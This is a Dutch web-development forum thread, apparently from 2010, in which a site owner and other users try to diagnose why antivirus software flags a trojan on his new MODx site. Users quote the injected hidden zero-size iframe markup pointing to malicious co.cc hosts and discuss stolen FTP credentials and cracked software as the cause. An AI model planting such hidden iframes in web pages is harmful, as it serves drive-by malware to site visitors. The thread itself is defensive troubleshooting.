Site geeft trojan en exploit waarschuwing

[DNA_Saint]

Heb net gisteren mijn site afgemaakt. Maar nu liet ik het vrienden zien en die vertellen dat wanneer ze de 1e keer naar de site gaan, AVG op hol springt.

Ze krijgen dat bestandsnaam: proprotocol.co.cc/get/js.php een Exploit Javascript Obfuscation is.
En daarnaast nog een melding van trojans.

Ik heb echt werkelijk geen idee hoe dit kan. Als ik mijn ftp scan op dit bestand, bestaat ie ook niet.

De screenshots hieronder laten de fouten zien:



Ik heb gegoogled op de url die in de waarschuwing staat. Maar krijg geen resultaten.

[RaZ]

Ik zie anders dit in je source staan:

HTML:

<div class="clear"><iframe src="http://proprotocol.co.cc/wiki/index.php?topic=170&action=cleaner&up=post&c=post" width="0" height="0" frameborder="0"></iframe>&nbsp;</div>

Die lijkt me daar niet thuis te horen.

[DNA_Saint]

waar dan?

[pickboy]

@Raz, je was me voor

Edit, regel 77 bij mij

[ Voor 39% gewijzigd door pickboy op 25-10-2010 23:16 ]

[DNA_Saint]

Ik zie het niet staan. En ververs eens en ga er opnieuw naar toe. Zie je het dan nog steeds staan?

Want vrienden van mij krijgen pas weer melding na rebooten. Anders krijgen ze het niet meer.

[pickboy]

refreshed en het betreffend i-frame is weg

[Lizard]

Ik zie dezelfde regel ook in de source staan.

HTML:

<div class="clear"><iframe src="http://proprotocol.co.cc/get/?nav=cleaner&xml=0&php=3&n=170&past=4" width="0" height="0" frameborder="0"></iframe>&nbsp;</div>
<div class="colContain">
<div id="setheight" class="column floatLeft">
<h2>Welkom!</h2>
<p>Welkom bij Tiger Media! Wij zijn een jong, maar zeer ervaren ontwerpbureau gevestigd in Rotterdam. Sinds 2008 verzorgen wij websites en gerelateerde producten en diensten van idee tot eindproduct. Deze zijn van topkwaliteit en voor een betaalbare prijs, zodat u zich nergens zorgen over hoeft te maken.</p>
<p>Wij stellen veel waarde aan uw wensen en idee&euml;n, in combinatie met onze creativiteit zorgen wij ervoor dat we samen tot een succesvol eindproduct komen.</p>
</div>

[DNA_Saint]

ik snap echt niet waar die vandaan komt. En ook waarom het na refreshen weer weg is.

Ik gebruik MODx CMS. En in de manager heb ik echt niks raars staan.

[Lizard]

Na een refresh is die iframe ook hier weg.

[RaZ]

En hoe up 2 date is dat CMS ?

[Saven]

virus op je pc denk ik. die add waarschijnlijk in elke html of php file ofzo dat regeltje
heb dat wel eens vaker gezien

[ Voor 19% gewijzigd door Saven op 25-10-2010 23:26 ]

[pickboy]

het kwam in ieder geval op de plek van de eerste

HTML:

 

te staan

[Erwin537]

Saven schreef op maandag 25 oktober 2010 @ 23:25:
virus op je pc denk ik. die add waarschijnlijk in elke html of php file ofzo dat regeltje
heb dat wel eens vaker gezien

Dat zou toch niet werken bij een CMS? Je upload tenslotte geen html files, maar een heel systeem.

Ik krijg overigens ook de melding.

[DNA_Saint]

RaZ schreef op maandag 25 oktober 2010 @ 23:25:
En hoe up 2 date is dat CMS ?

Ik zie in tabje nieuws geen exploits oid staan die bekend zijn voor mijn versie.

Saven schreef op maandag 25 oktober 2010 @ 23:25:
virus op je pc denk ik. die add waarschijnlijk in elke html of php file ofzo dat regeltje
heb dat wel eens vaker gezien

Op mijn pc? Maar waarom zie ik dan niks in het cms staan?
Ergens moet toch de code hiervoor staan.

====
ik verwijder nu om te testen even die flash slider. Kijken of het daarmee te maken heeft.

[ Voor 8% gewijzigd door DNA_Saint op 25-10-2010 23:41 ]

[pickboy]

Hoe zit het met je flash filmpje, die wil nu bij mij in ieder geval niet meer afspelen.

edit:
ow, nu weer wel, misschien ligt dat dan wel weer bij mij

[ Voor 29% gewijzigd door pickboy op 25-10-2010 23:42 ]

[DNA_Saint]

Ik heb het nu verwijderd. Maar het vervelende is dat mensen na de 1e keer error niet meer krijgen.
Volgens een vriend krijgt hij pas weer error na een reboot.

Lijkt mij echt sterk dat het door de flash slider komt. Komt van cu3er en heb een licentie ervoor betaald. En vele sites gebruiken het.

[Polster]

Kreeg het net (1 min geleden) nog op regel 71 en na een refresh niet meer.

[ Voor 12% gewijzigd door Polster op 25-10-2010 23:47 ]

[pickboy]

nou vooruit, ik zal even rebooten, kijken of het bij mij ook terugkomt.

[Erwin537]

Ik heb net ook gereboot, maar er kwam niets terug.

Kijk eens welke snippets er allemaal geïnstalleerd zijn, staat daar niets vreemds tussen?

[DNA_Saint]

Ok, komt dus niet door Flash slider. Want die had ik weggehaald.

Maar waardoor dan wel? MODx cms gebruik ik voor elke site die ik maak. Nooit problemen gehad. En nu maak ik mijn eigen site. En pats...

Ik heb naar mijn weten geen rare files op de server staan.

[pickboy]

DNA_Saint schreef op maandag 25 oktober 2010 @ 23:51:
Ok, komt dus niet door Flash slider. Want die had ik weggehaald.

Maar waardoor dan wel? MODx cms gebruik ik voor elke site die ik maak. Nooit problemen gehad. En nu maak ik mijn eigen site. En pats...

Ik heb naar mijn weten geen rare files op de server staan.

Bij je maat kwam het wel terug na een reboot.

Nu heb je de flash-slider weggehaald en nu komt het niet meer terug na een reboot (ik heb zojuist ook een reboot gedaan en ik zie ook niks terugkomen), dus lijkt me dat het juist wel in de flash-slider zit. Althans, zo lijkt het tenminste.

[DNA_Saint]

ik ga de flashfile dan even decompilen om te kijken of iets te vinden is.
Maar een swf kan gewoon html inserten?

[pickboy]

DNA_Saint schreef op maandag 25 oktober 2010 @ 23:58:
ik ga de flashfile dan even decompilen om te kijken of iets te vinden is.
Maar een swf kan gewoon html inserten?

Niet dat ik weet, maar ik heb er dan ook weinig verstand van.

[DNA_Saint]

net swf gedecompiled. Heb een search gedaan in alle AS code naar "iframe" of "proprotocol", heb niks gevonden.

Ook niet in js van de slider.

[pickboy]

DNA_Saint schreef op dinsdag 26 oktober 2010 @ 00:04:
net swf gedecompiled. Heb een search gedaan in alle AS code naar "iframe" of "proprotocol", heb niks gevonden.

Ook niet in js van de slider.

hmm, nasty litle bugger.

Succes

[simon]

En je hoster is 100% kosher?

[DNA_Saint]

heb hosting bij one.com dus lijkt mij wel. Als zij niet kosher zijn, dan vertrouw ik geen enkele hosting bedrijf meer.

Maar kan altijd vragen of iets van een bot ofzo bekend is bij hun.

[ Voor 22% gewijzigd door DNA_Saint op 26-10-2010 00:24 ]

[brtk]

misschien eens proberen om je FTP wachtwoord te veranderen en dan alles opnieuw te uploaden ?

[n0fragger]

Ik heb dit eerder gezien, dit komt vaker voor bij mensen die een illegale versie van Dreamweaver hebben gedownload. In deze versie wordt elke keer wanneer er een pagina via de FTP functionaliteit van Dreamweaver geupload wordt automatisch een iframe ingebouwd zoals deze boven te zien is.

Dit is bij dreamweaver, weet niet of dit ook bij andere software voorkomt.

[8088]

brtk schreef op dinsdag 26 oktober 2010 @ 15:54:
misschien eens proberen om je FTP wachtwoord te veranderen en dan alles opnieuw te uploaden ?

Maar eerst grondig scannen op keyloggers en dergelijke.

[DNA_Saint]

n0fragger schreef op dinsdag 26 oktober 2010 @ 16:00:
Ik heb dit eerder gezien, dit komt vaker voor bij mensen die een illegale versie van Dreamweaver hebben gedownload. In deze versie wordt elke keer wanneer er een pagina via de FTP functionaliteit van Dreamweaver geupload wordt automatisch een iframe ingebouwd zoals deze boven te zien is.

Dit is bij dreamweaver, weet niet of dit ook bij andere software voorkomt.

Kan toch bijna niet waar zijn? Ik heb een CMS en gebruik DW alleen voor css.

[ Voor 6% gewijzigd door DNA_Saint op 26-10-2010 16:11 ]

[NMe]

DNA_Saint schreef op dinsdag 26 oktober 2010 @ 16:09:
[...]

Kan toch bijna niet waar zijn? Ik heb een CMS en gebruik DW alleen voor css.

Het zou zomaar kunnen bij gekraakte software. En wat heeft een CMS te maken met code-injectie tijdens het FTP-proces? Al had je duizend CMS'en, dan nog had je hetzelfde probleem...

[ Voor 21% gewijzigd door NMe op 26-10-2010 16:13 ]

[ThinkPad]

Hier geen problemen met IE8, Chrome, en AVG

[DNA_Saint]

NMe schreef op dinsdag 26 oktober 2010 @ 16:12:
[...]

Het zou zomaar kunnen bij gekraakte software. En wat heeft een CMS te maken met code-injectie tijdens het FTP-proces? Al had je duizend CMS'en, dan nog had je hetzelfde probleem...

Omdat alle content in de db staat. Maar sowieso, ik heb dit niet bij andere sites die ik maak. Alleen bij deze.

Ook maar even db gechecked. Daarin is ook niks te vinden.

Het rare is ook dat ik niks op internet hierover kan vinden.

[ Voor 6% gewijzigd door DNA_Saint op 26-10-2010 16:22 ]

[8088]

DNA_Saint schreef op dinsdag 26 oktober 2010 @ 16:22:
Omdat alle content in de db staat.

Wat heeft content in de db te maken met code-injectie tijdens het FTP-proces?

[NMe]

8088 schreef op dinsdag 26 oktober 2010 @ 19:07:
[...]

Wat heeft content in de db te maken met code-injectie tijdens het FTP-proces?

Precies...het is niet alsof je code in je DB staat.

Overstappen op legale software lijkt me een goeie eerste stap...

[alwinuzz]

Het hoeft niet eens een illegale dreamweaver te zijn. Er zijn ook virussen die het opgeslagen FTP username/wachtwoord van bijvoorbeeld FileZilla of SmartFTP terugzoeken op je PC. Dan heb je weken later ineens een geinfecteerde website.

Dit lijkt me een puik plan (en dan niet je wachtwoord op laten slaan door je FTP programma):

brtk schreef op dinsdag 26 oktober 2010 @ 15:54:
misschien eens proberen om je FTP wachtwoord te veranderen en dan alles opnieuw te uploaden ?

[mrFoce]

Dit zit er nu in je website

code:

"http://dnsspot.co.cc/news/index.php?refresh=rect&cat=170&o=on&mode=cleaner&ajax=0

btw, Google?
Heb bv http://modxcms.com/forums/index.php?topic=52543.0 gevonden na 1 min Googlen =)